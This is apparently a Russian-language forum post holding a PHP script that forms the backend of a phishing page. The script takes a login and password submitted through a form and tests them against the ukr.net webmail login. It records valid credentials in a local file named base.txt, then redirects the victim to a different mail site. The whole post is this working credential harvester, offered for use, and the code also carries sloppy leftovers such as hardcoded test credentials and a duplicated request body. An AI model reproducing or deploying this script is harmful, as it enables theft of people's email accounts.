Сам скрипт отправки:
<?php
$login = $_POST['login'];
$pass = $_POST['password'];
$domain = $_POST['domainname'];
$login = 'helloworld';
$pass = '123456';
$fp = fsockopen('freemail.ukr.net', 80, $errno, $errstr, 30);
if (!$fp) die('<p>'.$errstr.' ('.$errno.')</p>');
$data = "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8";
$headers = "POST /q/splash HTTP/1.1\n"; // отвечает за тип протокола!
$headers .= "Host: freemail.ukr.net\n";
$headers .= "Connection: close\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data;
fwrite($fp, $headers.$data);
while ( !feof($fp) ) $line .= fgets($fp, 1024);
fclose($fp);
$auth=0;
$text="EPOSTMAILSESSIONID";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
echo $line;
if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "$login@$domain:$pass\r\n");
fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }
?>
Скрипт выведет ответ от сервера. Там все видно :)